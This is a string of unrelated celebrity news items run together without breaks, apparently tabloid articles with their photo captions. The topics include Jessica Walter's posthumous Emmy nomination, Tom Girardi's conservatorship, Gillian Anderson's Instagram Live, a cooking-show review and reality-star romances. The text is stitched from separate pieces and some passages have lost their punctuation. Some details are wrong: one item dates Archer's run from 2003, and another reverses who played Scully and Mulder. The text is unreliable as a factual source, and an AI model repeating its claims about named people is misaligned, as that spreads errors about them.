Walter, who played the abrasive matriarch Malory Archer during the show's run starting in 2003, was recognized for her performance in Archer's Season 11 episode titled, The Double Date.

In all, Walter received five Emmy nominations during her career that spanned seven decades, including a win for her leading role in the NBC TV-movie Amy Prentiss (1975).

The New York City native could still add a sixth nomination as she's eligible for the 2022 Emmys.

Walter recorded her voice-over dialogue for much of the next season of Archer before her death, showrunner Casey Willis had previously noted, according to The Hollywood Reporter.

Star power: Walter, who died in her sleep in March at the age of 80, was nominated for Outstanding Voice-Over Performance for her role as Malory Archer on the FX animated sitcom Archer

While Walter left a lasting mark with her role as the mother of H. Jon Benjamin's Sterling Archer on the adult animated sitcom, she's best known to most fans for playing Lucille Bluth in Arrested Development (2003-2006, 2013, 2018-2019).

Her work on the critically acclaimed sitcom resulted in one of her Emmy noms for Outstanding Supporting Actress In A Comedy Series in 2005.

During her career she also received three Screen Actors Guild Award nominations and two Golden Globe Award nominations, which included Best Actress  Motion Picture Drama for her memorable role as Evelyn Draper in Play Misty For Me that was directed and starred Clint Eastwood.

Acclaimed: Walter, whose career spanned seven decades, is best known to most fans for playing Lucille Bluth in the hit sitcom Arrested Development (2003-2006, 2013, 2018-2019)

Walter studied acting at the Neighborhood Playhouse School of the Theatre in New York City and began her career on the Broadway stage.

She would go on to appear in over 170 film, television, and stage productions, beginning with her TV debut in an episode of the medical drama Diagnosis: Unknown in 1960.

Her array of guest starring roles included the likes of such popular shows as The Alfred Hitchcock Hour (1964), Flipper (1964), The Fugitive (1966), It Takes a Thief (1969), Mission: Impossible (1970), Marcus Welby, M.D. (1971-1973), The Streets of San Francisco (1973-1976), Columbo (1974), Hawaii Five-O (1974), The Love Boat (1978-1985), Knots Landing (1982), and Murder, She Wrote (1985-1994), among many others.
Comedian and radio host Nick Cody has welcomed his second child with actress wife Lucia Smyrk.

The Fifi, Fev & Nick presenter shared the happy news on Instagram on Wednesday.

Nick revealed he and Lucia welcomed a son named Max Alistair Cody on Monday, but decided to wait two days before announcing the baby's arrival.

Baby joy: Comedian Nick Cody has welcomed his second child with actress wife Lucia Smyrk

'He came out happy, healthy and real relaxed,' Nick said.

'Lucia smashed him out in under two hours like a weapon. His big brother loves him so much that he sneezed on him immediately and tells everyone that the baby's name is dog.'

He cheekily added: 'Max clearly wanted to miss the sad McGregor fight, but get here in time for England to s**t the bed in the Euros. What a good kid.

New addition: Nick revealed he and Lucia welcomed a son named Max Alistair Cody on Monday, but decided to wait two days before announcing the baby's arrival

'We're chilling at home now.'

The news was also shared on the Fifi, Fev & Nick Instagram page on Wednesday.

'Only the BIGGEST congratulations to the Cody fam,' the post began. 'Welcoming Max to the world!! #powerfulname.

Having a laugh: 'Lucia smashed him out in under two hours like a weapon. His big brother loves him so much that he sneezed on him immediately,' Nick joked on Instagram

'Love from all of us at Fox FM and all of Melbourne.'

Nick joined the Fifi, Fev & Nick show earlier this year, replacing Byron Cooke.

When the news of Byron's replacement was revealed, Nick said in a statement he was 'so pumped to be joining Fifi and Fev in 2021'.
Radio hosts Kyle Sandilands and Jackie 'O' Henderson have lashed out at OnlyFans stars who 'scam' paying subscribers by failing to share hardcore content.

The KIIS FM presenters discussed the issue on Wednesday's Kyle and Jackie O Show, after Kyle, 50, joked he might join the platform to make some extra cash.

'If you're going to get on there, you actually need to show something as people get really frustrated if you don't,' Jackie, 46, warned him.

Not happy: Radio hosts Kyle Sandilands and Jackie 'O' Henderson have lashed out at OnlyFans creators who 'scam' paying subscribers by failing to share hardcore content

'Isn't it the law that you have to do things to yourself? That's not the law?' Kyle asked.

While OnlyFans is well-known as a platform for pornographic content, some creators simply offer exclusive PG-rated content for a monthly fee.

But this didn't sit well with Jackie, who said: 'People are being scammed. There's so many people who are like "I'd like to see them naked!" [but there's] no nudity whatsoever!'

When a producer told Kyle he could use the platform simply to show off his lavish lifestyle, the shock jock argued no one would pay to see that.

'If I'm on OnlyFans, I'm going to be touching myself in the car, or being in Myer and sniffing clothes... I don't know,' he said.

Shook: 'Isn't it the law that you have to do things to yourself? That's not the law?' Kyle asked

'You're never going to get your penis out, Kyle. I know you. So just stop fantasising over what you think you might do,' Jackie said.

'I might go crazy on there,' Kyle laughed. 'I feel like that's a challenge!'

The likes of V8 Supercars driver Renee Gracie and Married At First Sight bride Hayley Vernon have earned hundreds of thousands of dollars making porn for OnlyFans.

But some celebrities have come under fire over their own choice of content.

Former Disney star Bella Thorne last year created an OnlyFans profile and raked in $1million on her first day.

Success story: V8 Supercars driver Renee Gracie (pictured) and Married At First Sight bride Hayley Vernon have earned hundreds of thousands of dollars making porn for OnlyFans

But she sparked outrage when she allegedly charged $200 for a 'naked' photo in which she was not actually nude, and people demanded refunds.

She later clarified she had never promised nudity, telling the LA Times that a post circulating the Internet claiming she was offering nude content was falsified.

Content creators say OnlyFans subsequently imposed payment caps of $50 on pay-per-view posts from a previous cap of $200, and a $100 cap on tips.

Many sex workers who rely on the platform for their livelihood blamed Thorne for making their jobs more difficult.

She later apologised on Twitter, writing: 'I wanted to bring attention to the site, the more people on the site the more likely of a chance to normalize the stigmas, and in trying to do this I hurt you.

'I have risked my career a few times to remove the stigma behind sex work, porn and the natural hatred people spew behind anything sex-related.'

She added: 'I am a mainstream face and when you have a voice, a platform, you try to use you in helping others and advocate for something bigger than yourself. Again in this process I hurt you and for that Im truly sorry.'
The younger brother of embattled attorney and reality star Tom Girardi has officially been made conservator of his person and estate.

A court in Los Angeles agreed the move due to Girardi's dementia diagnosis, which is classified as a 'major neurocognitive disorder', People reported Tuesday.

Robert made the legal filing on Monday, the outlet said, after a June 9 court hearing in which he was appointed as 82-year-old Girardi's permanent conservator.

Tom Girardi, pictured with now estranged wife Erika Jayne in 2016, has officially been placed in a conservatorship giving his younger brother Robert control of his person and estate

Girardi is at the center of a high-profile investigation into fraud and embezzlement related to his legal work.

His wife of 21 years Erika Jayne filed for divorce in November 2020 and the unfolding drama has played out on season 11 of her Bravo show Real Housewives Of Beverly Hills.

Jayne, 50, who's been accused of benefiting from funds meant for her husband's clients, recently shot down claims that her divorce filing was a 'sham' to protect assets.

Girardi, 82, has been diagnosed with dementia and a court in Los Angeles held that his 'major neurocognitive disorder' warranted the appointment of a conservator, People said Tuesday

The high-profile attorney is Girardi and his estranged wife Erika Jayne, who filed for divorce in November 2020, are at the center of an investigation into fraud and embezzlement.

In December 2020, a federal judge in Chicago froze Girardi's assets, saying the well-known Los Angeles lawyer had 'misappropriated at least $2 million' meant for the families of those killed in the Lion Air Flight 610 crash in Indonesia.

In March, the LA Times reported that there had been more than 100 lawsuits filed and multiple complaints made to the California State Bar against Girardi by disgruntled clients who alleged financial wrongdoing and theft.

Jayne revealed on RHOBH that she left her husband because he pushed her 'further and further out' through the years.

And in recent episode, she shared that she still hasn't spoken with Girardi since filing for divorce without telling him.

Jayne, 50, who's been accused of benefiting from funds meant for her husband's clients, recently shot down claims that her divorce filing was a 'sham' to protect assets

Jayne has been 'ordered to turn over financial records' from her accountant, lawyer and landlord as part of the embezzlement investigation and a bankruptcy trustee is documenting the couple's assets.

It's been alleged that the split provided a way for the couple to embezzle funds and that Jayne had received 'tens of millions of dollars' from her husband's firm to fund her projects, UsWeekly reported in June.

Girardi's lawyers claimed earlier this year that he had 'issues' with 'mental competence' and it was subsequently disclosed that he had been diagnosed with dementia and late-onset Alzheimer's disease.

His brother Robert petitioned to become his conservator in February and he will now be responsible for Tom's care as well as his finances.
Gillian Anderson has vowed to never wear a bra again after lockdown because they are too uncomfortable and joked she doesn't care if her breasts 'reach her belly button'.

Hosting an Instagram Live on Monday in which she answered various questions from her 1.8million fans Gillian, 52, revealed she is now 'too lazy' to wear a bra.

One fan asked The Crown star to explain what her go-to outfit was during lockdown and she provided a very comical response.

Liberating: Gillian Anderson has vowed to never wear a bra again after lockdown because they are too uncomfortable and joked she doesn't care if her breasts 'reach her belly button'

As she sat on her sofa in Atlanta, she explained: 'It's probably the same one as my out of lockdown outfit 'I mean, I've gotten so lazy and I don't wear a bra any more. I can't wear a bra. I can't, no, I can't. I'm sorry.

'I don't care if my breasts reach my belly button, I'm not wearing a bra any more. It's just too f***ing uncomfortable.

'So yeah, comfortable black track pants and a matching hoodie. I'd wear that every day if I could.'

Her words have since sparked a flurry of people on social media explaining they plan to follow in her footsteps and ditch their bras.

Honest: Hosting an Instagram Live on Monday in which she answered various questions from her 1.8million fans Gillian, 52, (pictured in April) revealed she is now 'too lazy' to wear a bra

One person wrote: 'If two time Golden Globe and Emmy winning actress Gillian Anderson says no more bras who are we to disagree.'

Another said: 'I never wear a bra and I get a lot of distasteful comments about it, so knowing Gillian Anderson doesnt wear a bra anymore is information most pleasing to me!'

It comes after the actress delighted fans when she reunited with former X-Files co-star David Duchovny, 60, who played Dana Scully and Fox Mulder respectively, earlier this year.

The Crown actress took to Instagram to share a duo of snaps showing her and her former partner in crime, as he was introduced to her dog.

Hilarious: One fan asked The Crown star to explain what her go-to outfit was during lockdown and she provided a very comical response about never wearing a bra again

Gillian and David became household names in the '90s thanks to the roles as FBI Special Agents in the beloved sci-fi series The X-Files.

A host of her 1.8million Instagram followers soon swarmed the comments section to delight in the reunion - stating they were 'getting the band back together'.

Instagram users penned: 'Getting the band back together... the way you knew this would break the internet... Ive just died a thousand deaths from one photo!!...

'cuties!! currently watching x files as we speak, what a duo!... Omgggg this photo is everything... HELL YEA KING AND QUEEN ARE BACK... I still love these two after all these years. Forever my OTP.'

All together: Gillian and David Duchovny, 60, who played Dana Scully and Fox Mulder respectively, were once again delighting viewers as they reunited

Way back when: Gillian and David became household names in the '90s thanks to the roles as FBI Special Agents in the beloved sci-fi series The X-Files

Last year, Gillian reflected on her decision to leave Hollywood and move to London at the height of her fame.

'I had a complicated relationship with becoming so famous so young and seeing the worst part of what the industry can be. I really hated it and wanted to get away,' she told Australia's TV Week magazine.

'Now I'm older, I can put it all in perspective. The rewards that I've been blessed with for following my instincts are many, and I never got to the point of even considering moving back to America,' she added.

Excitement! A host of her 1.8million Instagram followers soon swarmed the comments section to delight in the reunion - stating they were 'getting the band back together'

Gillian, who spent years living in England as a child, explained that she 'always missed the UK and always knew she was going to end up back here'.

The Emmy winner was born in Chicago, and her family later relocated to Puerto Rico for 15 months and then London.

The Sex Education star returned to the United States with her family at the age of 11 and they settled in Grand Rapids, Michigan.
For a dessert that nobody has eaten in real life since the era of Cinzano Bianco and chicken-in-a-basket, one pudding causes more drama on TV than any other  the Baked Alaska.

Its now seven years since a Great British Bake Off contestant infamously dumped his sloppy Alaska into a bin, accusing a rival baker of sabotage.

Bearded engineer Iain Watters claimed his ice cream dish was deliberately removed from a freezer and left to melt  an accusation hotly denied. There has not been such controversy on the Bake Off since . . . perhaps because Paul Hollywood & Co have wisely ensured that no one ever attempts the Alaska again.

McFly drummer Harry Judd, pictured, was avoided elimination from last night's Cooking With The Stars on ITV with his Baked Alaska, pictured

Pop producer Naughty Boy, left, was the first person to be eliminated from the competition

Who needs global warming when youve got a combination of meringue, vanilla ice and blowtorches? Its bound to end in disaster. But that didnt deter the makers of Cooking With The Stars (ITV). As the final challenge of the opening show, two hapless cooks were handed eggs, a whisk, some slabs of ice cream and a pocket flame-thrower  and given 45 minutes to bake their Alaskas.

The resulting mess was as predictable as it was unappetising. In an eliminator round to decide which celeb was first to be sent home, pop producer Naughty Boy and McFly drummer Harry Judd competed to prove their complete incompetence. Both platters looked like a scoop of custard topped with soapsuds. It took a panel of eight professional chefs to decide which was worse.

Catastrophe is the whole point of this boisterous, entertaining format. Eight well-known faces, including actress Denise Van Outen and TV personality A.J. Odudu, take it in turns to go head-to-head in timed cook-offs.

Comedian Griff Rhys Jones guiltily admitted he couldnt cook to save his life. It turned out hes not alone  theyre all hopeless.

Harry described himself as a master of the microwave. Stand-up comic Johnny Vegas went one better: Ive only ever peeled the lid off and put hot water in.

Johnny revealed he wasnt kidding when he poured a pint of cooking oil into his sauce  he thought it was beef stock. It tastes like its come out of a chippy, he howled. And he still wasnt the worst cook of the night.

Normally Cordon Bleu contests at least showcase some real talent. Former politician Ed Balls might not be able to dance, but he demonstrated in Celebrity Best Home Cook on BBC1 earlier this year that he does know his way around a frying pan.

The ITV bunch have no less enthusiasm but a lot less ability. Just be thankful we dont have to eat what theyre serving.

Childcare kit of the night Becky (Phoebe Roberts), the two-faced nanny in Lie With Me (C5), slipped off her dress to reveal a bizarre bondage outfit. Then she produced handcuffs. Im sure Mary Poppins didnt go in for that sort of thing. All she had was an umbrella. Advertisement

Concert pianist Masa Tayama and his fiancee Rhiana Henderson wont be cooking banquets in their tiny galley kitchen, aboard their 240,000 barge.

The bespoke boat, delivered to its moorings in Uxbridge by lorry in My Floating Home (More4), devotes most of its space to a music hall, with an 80,000 grand piano on board.

Presenter Mark Evans marvelled at the opulence of the barge, with its gold taps, parquet flooring and swirling fused glass panels. Its a work of art.

The homes in this enjoyably off-beat series sometimes seem like glimpses of the future, sea-going portents of how well all be living if the oceans rise too high. But I suspect concert venues in canals will always be a rarity.

A vet, mechanic and architecture enthusiast, Mark was highly impressed with the boats electric engine  but he plainly hasnt got a clue about music. Masa is one of the worlds leading interpreters of Rachmaninov. Knock out a tune for us, said Mark. Tickle those ivories. Talk about sounding the wrong note.
Roxy Jacenko has confirmed she's started an OnlyFans account.

Speaking to The Kyle and Jackie O Show on Wednesday, the 41-year-old PR queen said her mother Doreen Davis 'wasn't happy' when she heard the news.

But Roxy clarified that rather than sharing any graphic images on the adult website, she simply signed up for an account to stop others posting and using her name.

Say what?! Roxy Jacenko has revealed she's started an OnlyFans account. Speaking to The Kyle and Jackie O Show on Wednesday, the 41-year-old PR queen said her mother Doreen Davis 'wasn't happy' when she heard the news

OnlyFans is a subscription-based adult website where content can range from something as innocent as a suggestive selfie, all the way to hardcore pornography.

'Do you have OnlyFans?' shock jock Kyle Sandilands cheekily asked Roxy.

The mother-of-two explained why she signed up and made clear she has no intentions to post anything.

A business decision: But Roxy clarified that rather than sharing any graphic images on the adult website, she simply signed up for an account to stop others posting and using her name

'Okay so, my mum called me the other day Kyle and was like, "Roxy, I need to have a conversation with you, I'm extremely upset about something... Diana has told me you have an OnlyFans account",' she explained, referring to a family friend.

'So I did get an account, but I don't have anything on it. I don't want anyone else to use my name, but my mum was not happy,' Roxy said with a laugh.

Roxy said her mother didn't believe her and had to see a screenshot of her account to have proof that Roxy wasn't posting racy images.

'So I did get an account, but I don't have anything on it. I don't want anyone else to use my name, but my mum was not happy,' Roxy said with a laugh

'My mum was like, that's unacceptable... I had to screenshot it and show her,' Roxy said.

Kyle joked that Roxy signed up to keep her husband Oliver Curtis 'on his toes'.

It was no doubt a good business decision for Roxy to secure her name, who boasts 236,000 Instagram followers.

She has a number of successful businesses under her belt, including her Sweaty Betty PR firm, her Ministry of Talent management company, her XRJ Celebrations brand candles business, Pixie's Bows and Pixie's Fidgets.

Meanwhile, on Tuesday, government agency SafeWork informed her that she was being investigated for allegedly putting her staff at risk amid the coronavirus pandemic.

In the warning letter, she was informed that a complaint has been made suggesting 'workers or others may be at risk' and that an investigation was taking place into alleged 'inadequate controls from biological hazards'.

This is despite accommodating two earlier visits from her local police who were sent out to inspect the conditions in her office following complaints from an unknown source.

Roxy is losing an estimated $65,000 every week that the city stays in lockdown, and says that she, like any other small business owner with their head screwed on, is doing everything she can to comply so Sydney recovers as soon as possible.

'The financial burden is absolutely huge. I'm all for this. I'm wearing my mask, I'm following the rules. The sooner we follow the rules and it all stops the better for everyone,' she said.
Married At First Sight grooms Liam Cooper and Samuel Levi only confirmed their romance on Sunday, but they have already been forced to deny cheating rumours.

Samuel, who appeared on the 2018 season of MAFS New Zealand, shut down gossip about his alleged use of gay dating app Grindr on Wednesday.

He also denied having accounts on Tinder or Bumble, and said he doesn't seek sexual services on the website RentMen either.

Hitting back: Married At First Sight's Liam Cooper (right) and Samuel Levi (left) only confirmed their romance on Sunday, but they have already been forced to deny cheating rumours

'No, I am not on any dating [apps] or sex sites, such as Grindr, Tinder, Rentmen, Bumble,' he wrote on Instagram Stories.

Samuel said fraudsters have been making fake accounts using images from his public Facebook and Instagram profiles.

'Any public pages here I understand can be used and made to create things,' he said.

'Please have some common sense though. Two days [after] an announcement and you already have this stuff happening and trolls messaging and coming through.'

He signed off by warning his followers not to engage with any dating profiles using his face and name, because they aren't his.

Setting the record straight: Samuel, who appeared on MAFS New Zealand in 2018, shut down gossip about his alleged use of gay dating app Grindr on Wednesday. He also denied having accounts on Tinder or Bumble, and said he doesn't seek sexual services on RentMen either

'If you are talking to any of these profiles, I will not be turning up, I'm sorry it'll be a complete random,' he said.

It comes just days after Liam, who starred on the Aussie version of MAFS earlier this year, confirmed his long-rumoured relationship with Samuel.

The prison case worker, 30, let the cat out of the bag on Sunday by posting a selfie of the pair cuddling on Instagram, alongside a gushing caption.

'When a country boy finds a city boy,' the bisexual reality star wrote.

'When a country boy finds a city boy': It comes just days after Liam, who starred on the Aussie version of MAFS earlier this year, confirmed his long-rumoured relationship with Samuel

'Life works in mysterious ways and this guy came into my life when I least expected it. I know I don't have to explain my life or what I do but I am very open and honest and wanted to let you all know,' he added.

'I met this guy [Samuel] early this year after the experiment. We hit it off and we remained friends until recently

'He has shown me what support looks like, what trust looks like and much more.'

Smitten: Liam had been friends with socialite Samuel for months before they started dating

Liam, who was 'married' to Georgia Fairweather on the latest season of MAFS, had been friends with socialite Samuel for months before they started dating.

He previously shut down romance rumours because he 'wasn't ready' to announce his relationship with a man so soon after being paired with a woman on national TV.

He was also still coming to terms with his feelings, a source told Daily Mail Australia.
Insecure creator and star Issa Rae rocked a red mini-dress and gold stilettos while shooting a mystery project in Los Angeles on Tuesday.

The LA-born, Maryland-raised 36-year-old debuted a new hairdo in the form of waist-length braids by her hairstylist Anthony Dickey.

Issa's street sighting came as the TV Academy announced she scored her fifth-ever Emmy nomination, this time, for outstanding guest actress in A Black Lady Sketch Show.

Action! Insecure creator and star Issa Rae rocked a red mini-dress and gold stilettos while shooting a mystery project in Los Angeles on Tuesday

Makeover alert! The LA-born, Maryland-raised 36-year-old debuted a new hairdo in the form of waist-length braids by her hairstylist Anthony Dickey

Rae - who executive produces the HBO hit - portrayed a face-tatted, yoga-loving gangster called Flop Wilson in the 'Gang Retreat' sketch.

'Being on set with a client when they find out they're Emmy nominated is [love],' her make-up artist Joanna Simkin Instastoried on Tuesday.

'Thankful the nomination came in during the fitting before make-up started because OMG the tears!'

ABLSS also scored nods for outstanding variety sketch series, outstanding writing for a variety series, and outstanding pictured editing for variety programming.

Congrats! Issa's street sighting came as the TV Academy announced she scored her fifth-ever Emmy nomination, this time, for outstanding guest actress in A Black Lady Sketch Show

Funnywoman: Rae (L) - who executive produces the HBO hit - portrayed a face-tatted, yoga-loving gangster called Flop Wilson in the 'Gang Retreat' sketch

Her make-up artist Joanna Simkin Instastoried on Tuesday: 'Being on set with a client when they find out they're Emmy nominated is [love]. Thankful the nomination came in during the fitting before make-up started because OMG the tears!'

The 73rd Primetime Emmy Awards air September 19 on CBS.

Next week, the Converse collaborator will fly to Miami to oversee production on her eight-episode, half-hour comedy series Rap S*** she created and wrote for HBO Max.

Rap S*** will reportedly follow two estranged high school friends from Miami who come back together to form a rap group.

Boss lady: Next week, the Converse collaborator (pictured June 25) will fly to Miami to oversee production on her eight-episode, half-hour comedy series Rap S*** she created and wrote for HBO Max

'Chicken dinners & Rap S***': It follows two estranged high school friends from Miami who come back together to form a rap group (pictured May 11)

On June 11, Issa (born Jo-Issa Rae Diop) concluded her role as Issa Dee in the fifth and final season of HBO's Insecure, which was based on her webseries Awkward Black Girl.

'Said goodbye to some of my favorite people on Earth, on and off screen, this past week,' Rae - who boasts 5.1M social media followers - tweeted.

'Never imagined all the doors this would open. Forever grateful to those who paved the way for us to do us.'

'WRAPPED!' On June 11, Issa concluded her role as Issa Dee in the fifth and final season of HBO's Insecure, which was based on her webseries Awkward Black Girl
Caitlyn Jenner continues her campaign push as a candidate in the 2021 California gubernatorial recall election.

And on Tuesday, the Republican hopeful made a pitstop at her local Starbucks in Malibu ahead of her busy day of meetings and interviews.

The former Olympic champion and Keeping Up With The Kardashians star used the moment to chat with people and lobby for prospective voters.

On the campaign trail: Caitlyn Jenner, 71, tooted her own campaign horn and wore a 'Caitlyn for California' T-shirt ahead of a day full of meetings and interviews in her push to become the next governor of California

Jenner arrived at the Starbucks store wearing a white 'Caitlyn for California' T-shirt that's part of her campaign merchandise.

In keeping with a casual-comfort theme, the New York native also donned denim blue jeans and a pair of flip-flops, as she carried a leather bag.

Her brown tresses were freshly blown out and she finished her afternoon look with a pair of rose-tinted sunglasses.

Making her case: The former Olympic champion and reality star lobbied for prospective voters in the 2021 California gubernatorial recall election when she stopped at a Starbucks in Malibu

One day earlier, a judge ruled Gov. Newsom can't put his Democratic Party affiliation on the ballot the voters will see after he missed the deadline to submit his affiliation to California Secretary of State Shirley Weber, according to the Associated Press.

Claiming it was inadvertent, the Newsom campaign filed a lawsuit, which his Republican opponents criticized as an attempt to change rules everyone else must follow.

'BREAKING: TODAY WE WON! Newsom v. Weber,' Jenner wrote in an Instagram post right after the judge went public with the ruling.

'I held our governor accountable and will continue to expose the hypocrisy, lies, and corruption in Sacramento,' she added.

GOP win! Jenner shared her approval after a judge ruled Gov. Newsom can't put his Democratic Party affiliation on the special election ballot on Sept 14 after he missed the deadline to submit his affiliation to California Secretary of State Shirley Weber

Californians will get to weigh-in on whether to recall Democratic Governor Gavin Newsom in a special election on September 14. Once the votes are in, Newsom will make history as just the second California governor to have ever faced a recall election.

The first recall election in the Golden State resulted in Governor Gray Davis, a Democrat, losing his seat in office to Republican Arnold Schwarzenegger in 2003.

But in recent polling and pundit predictions, Gov. Newsom is expected to survive the recall and beat the nearly 60 candidates vying for governor, according to CNBC.

Jenner, who plans to embark on a statewide bus tour in the month before the September 14 recall, dismissed a May poll showing her in fourth among GOP candidates with only 6 percent support.

Making her case: The Keeping Up With The Kardashians star has painted Gov. Newsom as corrupt while out on the campaign trial

'Honestly, I'm not concerned about the polling,' she said during her first campaign press conference with California political reporters last week, as reported by Politico.

Dismissing the survey as outdated, Jenner added, 'I guarantee you that I am in the lead.'

The transgender 71-year-old, who's never run for political office, announced her bid for governor on April 23.

The longtime Republican is running on a platform of making California a more pro-business state with lower taxes and less regulations, as well as closing the border, leading the COVID recovery, and addressing affordable housing/homeless crisis, among others.
She was forced to spend her 28th birthday in lockdown this week.

But Australia's Next Top Model stunner Simone Holtznagel wasn't going to let anything rain on her parade.

The blonde bombshell celebrated the milestone in saucy style, posting a video of herself wearing nothing but lingerie and a sexy robe as she poured herself a large glass of rose wine.

Happy birthday to me! Model Simone Holtznagel showed off her ample cleavage in racy lingerie as she poured herself a glass of wine while turning 28 in lockdown on Monday

Simone's stunning sheer purple bra was by Honey Birdette and she wore a matching velvet lilac dressing gown over the top.

She completed her sex kitten look by bundling her blonde locks up in a bedhead style and applying a saucy wing-tipped eyeliner.

Simone joked in the caption of the post that she did her best to wait until after lunch to enjoy her first birthday beverage.

Best advertisement! Simone's stunning sheer purple bra was by Honey Birdette

'I absolutely did dress up in my favourite lingerie and robe for my lockdown birthday. AND i even waited till 12:15pm for my first glass of Rose, birthday cocktail coming later tonight,' she explained.

Simone rose to fame on the 2011 season of Australia's Next Top Model.

And she is still turning heads a decade later, often stunning in sheer lingerie while making food or cocktails in videos on her Instagram page.

She told The Daily Telegraph she 'gets so much interaction when I post cooking stuff or making cocktails' instead.

'I think it is kind of refreshing for people to see, rather than just another chick half-dressed on Instagram,' she added.

'I could post a photo in lingerie or swimwear every day but it gets old after a while.'

Special gift! The Australia's Next Top Model star was gifted the luxurious lingerie for her birthday

The blonde bombshell shot to fame in 2011 when she placed second runner-up on Australia's Next Top Model.

She later moved to Los Angeles, where she modelled for major brands like Guess, but recently moved back Australia.

Simone landed her first Playboy cover in October 2015 in 'The College Issue'.
She was forced to leave Australia and return to the Netherlands after the resurgence of Covid-19 made it impossible for her to find work in Sydney.

And one year later, Big Brother star Sophie Budack has revealed she has found love once again after splitting from winning housemate Chad Hurst.

'Oh, he's amazing! His name is Rutger and he's my perfect match,' the 27-year-old former gymnast told Daily Mail Australia on Tuesday.

EXCLUSIVE: 'He's my perfect match!' Big Brother's Sophie Budack (right) has found love one year after she was dumped by winner Chad Hurst (left)

'Since Big Brother, I spent the last year concentrating on me and wasn't looking for love, but when love literally walks through your door, there's nothing you can do,' she added.

Sophie and Rutger have been dating for several months now, but the athlete-turned-influencer wanted to wait before announcing the romance.

While little is known about Rutger, Sophie said they were introduced by her younger sister Yasmin and 'from the first night we met there was an instant connection'.

Happiness: 'Oh, he's amazing! His name is Rutger and he's my perfect match,' the 27-year-old former gymnast told Daily Mail Australia on Tuesday. Pictured: Sophie and Rutger

Smitten: Sophie and Rutger have been dating for several months now, but the athlete-turned-influencer wanted to wait before announcing the romance

Sophie, who was raised in Australia, split with Chad after she relocated to Europe last year.

Daily Mail Australia understands it was Chad's decision to end things.

She previously said of their break-up: 'A lot of people will be asking about myself and Chad but there are some elements of my life I want to keep private.

In the Netherlands: Sophie, who was raised in Australia, split with Chad after she relocated to Europe last year. Daily Mail Australia understands it was Chad's decision to end things

Awkward: The pair had awkwardly dodged Sonia Kruger's questions about their relationship status during the show's live finale in July last year. Sophie placed runner-up on the show

'For now, I am just taking it one step at a time and looking at the positives. At least now I can show you the other side of the world and a bit more of me.'

The couple had awkwardly dodged Sonia Kruger's questions about their relationship status during the show's live finale in July last year.

Chad and Sophie were last pictured together two days after he won the $230,000 cash prize when they went for a walk around Sydney's Bondi Beach.
Danielle Lloyd has suggested that her pal Katie Price should consider having therapy if she starts to feel 'addicted' to plastic surgery, revealing it 'keeps her in check'.

Katie, 43, recently jetted to Turkey for more cosmetic work, which included a Brazilian butt lift and full body liposuction as well as multiple procedures on her face.

While the model, 37, has also gone under the knife several times, having lipo, a butt lift and several boob jobs over the years as well as a nose job last December.

Advice: Danielle Lloyd has suggested that her pal Katie Price should consider having therapy if she starts to feel 'addicted' to plastic surgery (pictured in May)

Speaking with The Mirror, pregnant Danielle said: 'I keep myself in check with therapy and I feel happy. Katie says she's not addicted but if she starts to feel like she is, I'd recommend therapy,'

And reflecting on Katie's latest surgery, Danielle said that she was 'shocked' and recalled feeling 'excruciating' pain after her own procedures.

Adding that they've both been in positions where they've said their surgery days are in the past, but then having more work done anyway, Danielle admitted that she 'doesn't know' why they keep going back for more.

She said: 'We're both mad! I know it's easy to become addicted. It can be scary for the kids I had to hide my body from the kids for weeks  they were saying, "Mummy are you going to die?".'

Ouch: The former glamour model, 43, recently jetted to Turkey for cosmetic work, including a Brazilian butt lift and full body liposuction as well as multiple procedures on her face

Danielle had a nose job last December and in 2019 underwent extensive surgery to transform her figure and rid herself of a legion of woes regarding body confidence.

In June of that year, she admitted she felt like a 'freak' before her recent extensive plastic surgery and was 'embarrassed' to be naked because of her 'wonky boobs'.

She revealed at the time how her cosmetic procedures have helped 'spice up things' in the bedroom with her electrician spouse.

Cosmetic procedures: Danielle has also gone under the knife, having lipo, a Brazilian butt lift and several boob jobs over the years as well as a nose job last December (pictured in March)

The mother-of four underwent a breast augmentation, liposuction and a Brazilian bum lift in September 2019 at a Turkish clinic, which she said has transformed her confidence and made her feel 'sexy' again following a tragic miscarriage.

A representative for Katie said: 'Danielle and Katie have been friends for decades, both in the same industry support one another.

'Dan is not saying Katie needs therapy - this has been taken out of context - but is simply looking out for Katie, expressing her own views and opinions on herself and own experiences'.

Katie recently jetted to Turkey for a Brazilian butt lift and full body liposuction as well as multiple procedures on her face.

And on Sunday, Katie took to Instagram where she shared a 'completely unfiltered' close-up shot of her face as she flaunted her new set of semi-permanent eyelashes, after undergoing extensive plastic surgery.

No filter: On Sunday, Katie took to Instagram where she shared a 'completely unfiltered' close-up shot of her face after undergoing extensive plastic surgery

The Glamour model, who opted for eye and lip lifts as well as liposuction under her chin, told her followers that she is 'still healing' after having gone under the knife.

Katie wrote: 'Here we go completely unfiltered picture.

'But anyway look at my gorgeous lashes I got done by Annabel @masterlashuk and the good thing is I can wear my own lash range lashes with them too @bykatieprice.

'(I'm still healing from face surgery too) #ad.'

Katie has undergone lifting surgery on her eyes, chin and lips to create a more contoured look, in addition to full body liposuction and a Brazilian butt lift.

Thrilled: Katie recently unveiled the results of her face surgery on Instagram, insisting she is 'so happy' with the results after undergoing procedures on her eyes, chin and lips

She recently revealed the results of her face surgery on Instagram as she posed with new puppy Buddy and sporting a full face of glamorous make-up.

Katie told fans that she is still 'swollen' from the procedures she's had done, but was pleased with how they had gone as she modelled her new look.

'Omg I'm soo happy with my face surgery. 'I'm still swollen but it's been 2 weeks since surgery.'

While some fans commented telling Katie they 'love' her new look, others shared their concerns.

Some of Katie's followers questioned whether she is 'addicted' to cosmetic surgery, as others urged her not to get anything else done.

Katie has always spoken openly of the cosmetic work she has had done over the years and was seen addressing such concerns during her appearance on Good Morning Britain on Friday.

Insisting she is not 'addicted' to surgery, Katie said: 'It's like a car - you have an MOT. If you get a scratch or a dent, you fix it, and that's how I feel with my body. I'm not trying to look younger and I definitely don't want that alien look - when people go over the top and look like freaks.

'Having surgery isn't fun and games, it is painful and it's irreversible Everyone's got imperfections, I could go over the top but I don't want to look like a freak.'

She said: 'I'm not addicted, but if people want to say I've got body dysmorphia, just say it, even my mum says it, 'You need to see somebody, you're not normal in the head, are you?'

'I said, 'Mum, if you could have your face done again, you would but you can't because you're terminally ill at the moment, you used to have Botox, this and that.''

Painful: Katie had to endure a six-hour surgery on her feet and said she was left 'frustrated' after putting on weight while recovering from her injuries (pictured above in hospital last year)

Katie explained that she had wanted to 'transform' herself after being left 'frustrated' over the way she looks, after breaking both of her feet in a freak accident last year.

